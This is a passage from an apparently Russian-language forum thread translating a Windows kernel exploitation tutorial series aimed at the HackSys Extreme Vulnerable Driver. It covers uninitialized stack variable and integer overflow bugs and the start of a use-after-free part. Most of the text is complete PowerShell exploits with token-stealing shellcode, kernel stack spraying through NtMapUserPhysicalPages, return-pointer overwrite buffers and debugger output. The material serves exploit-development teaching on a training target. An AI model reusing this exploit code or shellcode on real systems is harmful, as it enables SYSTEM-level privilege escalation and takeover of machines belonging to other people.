    echo "[!] Failed to allocate null-page..`n"
    Return
} else {
    echo "[+] Success"
}
echo "[+] Writing shellcode pointer to 0x00000004"
[System.Runtime.InteropServices.Marshal]::Copy($ShellcodePointer, 0, [IntPtr]0x4, $ShellcodePointer.Length)
 
# Get handle to driver
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
#---
# To trigger the null-pointer dereference all we need to do
# is pass the compare at HackSysExtremeVulnerableDriver+0x4b61.
# As long as our magic value is not 0xbad0b0b0, we're good!
#---
$Buffer = [System.BitConverter]::GetBytes(0xdeadb33f) # Whatever value here..
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22202B`n"
[EVD]::DeviceIoControl($hDevice, 0x22202B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

7.png
 
Часть 13: Эксплуатация Ядра -> Неинициализированная стековая переменная

Hola и добро пожаловать обратно в часть 13 серии туториалов по разработке эксплоитов для Windows. Сегодня мы будем эксплуатировать неинициализированную переменную стека ядра, используя крайне уязвимый драйвер от команды @HackSysTeam. Более подробную информацию о настройке среды отладки смотрите в части 10. Я быстро хочу поблагодарить товарища @tiraniddo за его профессиональную горячую линию поддержки нубов. Поехали!

Ресурсы

+ NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques (@j00ru) - (http://j00ru.vexillium.org/?p=769)

Вызов на бой

Мы можем кратко рассмотреть уязвимую функцию (https://github.com/hacksysteam/Hack...er/Driver/Source/UninitializedStackVariable.c).

C:
NTSTATUS TriggerUninitializedStackVariable(IN PVOID UserBuffer) {
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;

#ifdef SECURE
    // Secure Note: This is secure because the developer is properly initializing
    // UNINITIALIZED_STACK_VARIABLE to NULL and checks for NULL pointer before calling
    // the callback
    UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable = {0};
#else
    // Vulnerability Note: This is a vanilla Uninitialized Stack Variable vulnerability
    // because the developer is not initializing 'UNINITIALIZED_STACK_VARIABLE' structure
    // before calling the callback when 'MagicValue' does not match 'UserValue'
    UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable;
#endif

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer,
                     sizeof(UNINITIALIZED_STACK_VARIABLE),
                     (ULONG)__alignof(UNINITIALIZED_STACK_VARIABLE));

        // Get the value from user mode
        UserValue = *(PULONG)UserBuffer;

        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] UninitializedStackVariable Address: 0x%p\n", &UninitializedStackVariable);

        // Validate the magic value
        if (UserValue == MagicValue) {
            UninitializedStackVariable.Value = UserValue;
            UninitializedStackVariable.Callback = &UninitializedStackVariableObjectCallback;
        }

        DbgPrint("[+] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.Value);
        DbgPrint("[+] UninitializedStackVariable.Callback: 0x%p\n", UninitializedStackVariable.Callback);

#ifndef SECURE
        DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");
#endif

        // Call the callback function
        if (UninitializedStackVariable.Callback) {
            UninitializedStackVariable.Callback();
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

Если мы передадим функции драйвера правильное магическое значение, то она инициализирует переменную и параметры обратного вызова. Если мы передадим неверное значение, этого не произойдет. Проблема здесь в том, что переменная не имеет определенного значения, когда она определена. Поскольку переменная находится в стеке, она будет содержать любой случайный мусор, оставленный предыдущими вызовами функций. Обратите внимание, что в коде есть проверка (if UninitializedStackVariable.Callback ...), которая ничего не делает для защиты переменной от сбоя.

Код IOCTL для этой функции - 0x22202F. Чтобы увидеть, как можно определить код IOCTL, ознакомьтесь с частью 10 и частью 11 этой серии туториалов. Давайте перейдем к IDA и посмотрим на функцию.

1.png


Давайте рассмотрим 4 функциональных блока на изображении выше. Если сравнение успешно, то мы попадаем в зеленый блок, где наша переменная инициализируется правильным значения, а если не успешно тогда в красный блок, где вызывается функция обратного вызова.

2.png


Мило. Однако, если сравнение будет не успешным, то мы пропустим зеленый блок. Далее внизу мы в конечном итоге вызываем любой мусор, который окажется в стеке ядра в данный момент!

3.png


Эти данные изменчивы. Если вы попытаетесь воспроизвести это, вы, вероятно, увидите различные значения в отладчике WinDbg. Прежде чем случится BSOD, давайте быстро посмотрим, как далеко эта переменная от начала нашего текущего стека.

4.png


Чтобы получить расстояние до неисправного указателя, мы делаем следующее:

0x8a15ced0 - 0x8a15c9cc = 0x504 (1284 bytes)

Давайте сделаем проверку работоспособности BSOD, возобновив поток выполнения.

5.png


Поимей всё что можно

Функция NtMapUserPhysicalPages

Если мы можем перезаписать этот IntPtr в стеке ядра указателем на наш шелл-код, тогда мы победим, но как мы можем это сделать? Оказывается, распыление в стеке ядра - это рабочая вещь. Я настоятельно рекомендую вам прочитать эту статью @j00ru (http://j00ru.vexillium.org/?p=769). Существует недокументированная функция NtMapUserPhysicalPages. Нам не важно, что она делает, но в рамках своей функциональности она копирует входные байты в локальный буфер в стеке ядра. Максимальный размер, который она может скопировать, составляет 1024 * IntPtr :: Size (4 на 32-битных процессорах, => 4096 байт). Это идеально подходит для наших потребностей. Следующий POC может быть использован для иллюстрации этого!

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
public static class EVD
{
    [DllImport("ntdll.dll")]
    public static extern uint NtMapUserPhysicalPages(
        IntPtr BaseAddress,
        UInt32 NumberOfPages,
        Byte[] PageFrameNumbers);
}
"@

# $KernelStackSpray = 4*1024
$KernelStackSpray = [System.BitConverter]::GetBytes(0xdeadb33f) * 1024

# This call will fail with NTSTATUS = 0xC00000EF (STATUS_INVALID_PARAMETER_1),
# however, by that time the buffer is already on the Kernel stack ;)
[EVD]::NtMapUserPhysicalPages([IntPtr]::Zero, 1024, $KernelStackSpray) |Out-Null

Давайте установим точку останова для возврата для функции NtMapUserPhysicalPages. Запустим наш POC и проверим стек ядра.

6.png


Отлично. После возврата из функции NtMapUserPhysicalPages, должен быть настроен стек, чтобы мы могли испортить неинициализированную переменную стека при вызове функции драйвера. Обратите внимание, что распыление не является смежным. Немного посмотрев, я обнаружил, что в стеке есть значительные куски, но они разделены (я полагаю) сохраненными значениями. К счастью, смещение, которое нам нужно, кажется, не повреждено.

Один из ключевых моментов, о которых следует помнить, это то, что стек является изменчивым, поэтому лучше всего распылить его прямо перед тем, как вызвать ошибку, и выполнить как можно меньше операций между ними, чтобы избежать засорения буфера!

Шеллкод

Опять же, мы переписываем здесь вызов функции, чтобы мы могли повторно использовать шеллкод для кражи токенов из предыдущей части, не внося никаких изменений.

Код:
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0xC3                                # ret
)

Установка

Наш рабочий процесс будет следующим:
- поместить наш шеллкод в память
- распылить стек ядра указателями на наш шеллкод
- вызвать уязвимость неинициализированной переменной.

Конец игры

Пожалуйста, обратитесь к полному эксплойту ниже для получения дополнительной информации.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
 
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAllocationType,
        UInt32 flProtect);

    [DllImport("ntdll.dll")]
    public static extern uint NtMapUserPhysicalPages(
        IntPtr BaseAddress,
        UInt32 NumberOfPages,
        Byte[] PageFrameNumbers);
}
"@

# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0xC3                                # ret
)

# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$ShellcodePtr = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $ShellcodePtr, $Shellcode.Length)
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: 0x$("{0:X8}" -f $ShellcodePtr.ToInt32())"

$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)

if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}

# j00ru -> nt!NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques
# Shellocde IntPtr spray..
$KernelStackSpray = [System.BitConverter]::GetBytes($ShellcodePtr.ToInt32()) * 1024
echo "`n[>] Kernel stack spray.."
echo "[+] Spray buffer: $(1024*[IntPtr]::Size)"
echo "[+] Payload size: $([IntPtr]::Size)`n"

echo "[>] Call NtMapUserPhysicalPages & trigger bug.."
echo "[+] Radio silence..`n"
[EVD]::NtMapUserPhysicalPages([IntPtr]::Zero, 1024, $KernelStackSpray) |Out-Null
$Buffer = [System.BitConverter]::GetBytes(0xdeadb33f)
[EVD]::DeviceIoControl($hDevice, 0x22202F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

7.png
 
Часть 14: Эксплуатация Ядра -> Неинициализированная стековая переменная

Hola и добро пожаловать обратно в часть 14 серии туториалов по разработке эксплоитов для Windows. Сегодня у нас есть еще один пост о чрезвычайно уязвимом драйвере от команды @HackSysTeam. На этот раз мы рассмотрим целочисленное переполнение; исключая переполнение стека GS (мы рассмотрим это позже) и путаницу в типах данных. Это будет последняя часть из легко эксплуатируемых уязвимостей! Более подробную информацию о настройке среды отладки смотрите в части 10.

Ресурсы
+ HackSysExtremeVulnerableDriver (hacksysteam) -https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

Разведка боем

Давайте посмотрим на часть рассматриваемой уязвимой функции (https://github.com/hacksysteam/Hack...r/blob/master/Driver/Source/IntegerOverflow.c).

C:
NTSTATUS TriggerIntegerOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
    ULONG Count = 0;
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG BufferTerminator = 0xBAD0B0B0;
    ULONG KernelBuffer[BUFFER_SIZE] = {0};
    SIZE_T TerminatorSize = sizeof(BufferTerminator);

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));

        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));

#ifdef SECURE
        // Secure Note: This is secure because the developer is not doing any arithmetic
        // on the user supplied value. Instead, the developer is subtracting the size of
        // ULONG i.e. 4 on x86 from the size of KernelBuffer. Hence, integer overflow will
        // not occur and this check will not fail
        if (Size > (sizeof(KernelBuffer) - TerminatorSize)) {
            DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);

            Status = STATUS_INVALID_BUFFER_SIZE;
            return Status;
        }
#else
        DbgPrint("[+] Triggering Integer Overflow\n");

        // Vulnerability Note: This is a vanilla Integer Overflow vulnerability because if
        // 'Size' is 0xFFFFFFFF and we do an addition with size of ULONG i.e. 4 on x86, the
        // integer will wrap down and will finally cause this check to fail
        if ((Size + TerminatorSize) > sizeof(KernelBuffer)) {
            DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);

            Status = STATUS_INVALID_BUFFER_SIZE;
            return Status;
        }
#endif

        // Perform the copy operation
        while (Count < (Size / sizeof(ULONG))) {
            if (*(PULONG)UserBuffer != BufferTerminator) {
                KernelBuffer[Count] = *(PULONG)UserBuffer;
                UserBuffer = (PULONG)UserBuffer + 1;
                Count++;
            }
            else {
                break;
            }
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

Функция драйвера сравнивает длину предоставленного пользователем буфера с буфером, выделенным драйвером. Однако в уязвимой версии эта проверка выполняется следующим образом:

BufferTerminator = 0xBAD0B0B0
InputBuffer.Size + BufferTerminator.Size > KernelAllocatedBuffer.Size

Очевидная ошибка очевидна :3 Размер терминатора строки составляет 4 байта, поэтому, если мы предоставим функции DeviceIoControl размер буфера, который находится между 0xfffffffc и 0xffffffff, драйвер добавит 4 к целому числу, заставляя значение зацикливаться на себе и проходить проверку! Мы можем сделать что-то подобное в консоли PowerShell, чтобы проиллюстрировать проблему.

PS C:\Users\b33f> 0xfffffffc+4
0
PS C:\Users\b33f> 0xffffffff+4
3

Код IOCTL для этой функции равен 0x222027. Чтобы увидеть, как можно определить код IOCTL, ознакомьтесь с частью 10 и частью 11 этой серии. Давайте быстро перейдем к IDA и посмотрим на функцию. На изображении ниже мы видим пролог функции, включая проверку ошибочной длины.

1.png


После того, как мы пройдем этот блок, мы окажемся в цикле, который копирует байты из пользовательского буфера в буфер ядра. Обратите внимание на оранжевый блок ниже. Операция копирования продолжается до тех пор, пока не встретится завершающий DWORD буфера.

2.png


Давайте кратко передадим драйверу некоторые ожидаемые значения, чтобы мы могли быть уверены, что сможем вызвать соответствующую функцию.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
}
"@

$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)

if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}

$Buffer = [Byte[]](0x41)*0x100 + [System.BitConverter]::GetBytes(0xbad0b0b0)
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x222027`n"
[EVD]::DeviceIoControl($hDevice, 0x222027, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

3.png


Отлично. Как и ожидалось. Теперь давайте попробуем вызвать BSOD, задав функции DeviceIoControl размер 0xffffffff и отправив буфер, который больше, чем выделенный драйвером (например, 0x900).

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
}
"@

$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)

if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}

$Buffer = [Byte[]](0x41)*0x900 + [System.BitConverter]::GetBytes(0xbad0b0b0)
$Size = 0xffffffff
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x222027`n"
[EVD]::DeviceIoControl($hDevice, 0x222027, $Buffer, $Size, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

4.png


Поимей всё что движется

Return Pointer Overwrite


Как мы могли видеть выше, мы сломали обработчик исключений. Это не совсем желательно, поскольку мы действительно хотим перезаписать данные, чтобы получить контроль над выполнением при выходе из функции TriggerIntegerOverflow.

Это задача, которую я оставляю усердному читателю. Для потомков, поскольку я "изобретал" примитивы в PowerShell для разработки эксплойтов, можно использовать следующее для создания буфера шаблонов.

$Pattern_Create = ([system.Text.Encoding]::ASCII).GetBytes("Aa0Aa1Aa2Aa3Aa........")

Чтобы перезаписать возвращаемое значение функции с помощью 0x42424242, мы можем использовать следующую структуру буфера.

$Buffer = [Byte[]](0x41)*0x828 + [Byte[]](0x42)*0x4 + [System.BitConverter]::GetBytes(0xbad0b0b0)
$Size = 0xffffffff

Шеллкод

Подобно переполнению стека ядра, мы должны увидеть, как мы должны исправить эпилог шеллкода, чтобы предотвратить BSOD! Сначала давайте посмотрим на нормальный рабочий процесс, когда мы предоставляем ожидаемые значения функции драйвера. Мы поместим точку останова в инструкцию возврата функции TriggerIntegerOverflow.

5.png



Код:
d>
bp 9528c9b4
kd> g
****** HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW ******
[+] UserBuffer: 0x023CAAEC
[+] UserBuffer Size: 0x108
[+] KernelBuffer: 0xA46B72AC
[+] KernelBuffer Size: 0x800
[+] Triggering Integer Overflow
Breakpoint 0 hit
HackSysExtremeVulnerableDriver+0x49b4:
9528c9b4 c20800     ret     8     <-------[Stack]  a46b7ad4 9528c9da HackSysExtremeVulnerableDriver+0x49da
                                                   a46b7ad8 023cabf0
                                                   a46b7adc 00000108
                                                   a46b7ae0 a46b7afc
                                                   a46b7ae4 9528d0e6 HackSysExtremeVulnerableDriver+0x50e6
HackSysExtremeVulnerableDriver+0x49da:
9528c9da 5d         pop     ebp   <-------[Stack]  a46b7ae0 a46b7afc
                                                   a46b7ae4 9528d0e6 HackSysExtremeVulnerableDriver+0x50e6
                                                   a46b7ae8 85edde80
HackSysExtremeVulnerableDriver+0x49db:
9528c9db c20800     ret     8     <-------[Stack]  a46b7ae4 9528d0e6 HackSysExtremeVulnerableDriver+0x50e6
                                                   a46b7ae8 85edde80
                                                   a46b7aec 85eddef0
                                                   a46b7af0 85396620


Кажется, это практически идентично переполнению стека, которое мы сделали в части 10. Давайте проверим стек, когда мы запустим переполнение целых чисел.

Код:
****** HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW ******
[+] UserBuffer: 0x0234FAA4
[+] UserBuffer Size: 0xFFFFFFFF
[+] KernelBuffer: 0x96F4F2AC
[+] KernelBuffer Size: 0x800
[+] Triggering Integer Overflow
Breakpoint 0 hit
HackSysExtremeVulnerableDriver+0x49b4:
9528c9b4 c20800     ret     8     <-------[Stack]  96f4fad4 42424242
                                                   96f4fad8 023502d0
                                                   96f4fadc ffffffff
                                                   96f4fae0 96f4fafc
                                                   96f4fae4 9528d0e6 HackSysExtremeVulnerableDriver+0x50e6

Мы можем изменить эпилог шеллкода следующим образом, чтобы восстановить отсутствующие инструкции.

Код:
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0x31, 0xC0,                         # NTSTATUS -> STATUS_SUCCESS :p
    0x5D,                               # pop ebp
    0xC2, 0x08, 0x00                    # ret 8
)

Конец игры

Это должно сработать. Пожалуйста, обратитесь к полному эксплойту ниже для получения дополнительной информации.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAllocationType,
        UInt32 flProtect);
}
"@

# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0x31, 0xC0,                         # NTSTATUS -> STATUS_SUCCESS :p
    0x5D,                               # pop ebp
    0xC2, 0x08, 0x00                    # ret 8
)

# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$EIP = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: $("{0:X8}" -f $Pointer.ToInt32())"

$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)

if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}

$Buffer = [Byte[]](0x41)*0x828 + $EIP + [System.BitConverter]::GetBytes(0xbad0b0b0)
$Size = 0xffffffff
echo "`n[>] Sending buffer.."
echo "[+] Buffer size: $($Buffer.Length)"
echo "[+] Fake buffer size: $("{0:X}" -f $Size)"
echo "[+] IOCTL: 0x222027`n"
[EVD]::DeviceIoControl($hDevice, 0x222027, $Buffer, $Size, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

6.png
 
В MSF есть тулза не только для генерации, но и для последующего поиска оффсета:
Код:
# /opt/metasploit-framework/embedded/bin/ruby /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x69413269
[*] Exact match at offset 247

тоже самое, только удобно
 
Часть 15: Эксплуатация Ядра -> Use-After-Free

Hola, и добро пожаловать обратно в 15 часть серии туториалов по разработке эксплоитов для Windows. Сегодня у нас есть еще один пост о чрезвычайно уязвимом драйвере от команды HackSysTeam. В этом посте мы будем эксплуатировать уязвимость Use-After-Free, которая станет первой из "сложных" классов уязвимостей! Я рекомендую читателям познакомиться с ресурсами, перечисленными ниже, поскольку они дают исчерпывающее объяснение памяти пула ядра и резервных объектов. Более подробную информацию о настройке среды отладки смотрите в 10 части.

Ресурсы:

+ HackSysExtremeVulnerableDriver (@HackSysTeam) - here
+ HackSysTeam-PSKernelPwn (@FuzzySec) - here
+ Kernel Pool Exploitation on Windows 7 (Tarjei Mandt) - here
+ Reserve Objects in Windows 7 (@j00ru) - here

Разведка боем

Разведка этого поста немного отличается, так как в уязвимости UAF задействован ряд функций драйвера. Мы рассмотрим каждую из них по очереди, предоставив такие подробности, которые уместны.

Функция AllocateUaFObject

C:
NTSTATUS AllocateUaFObject() {
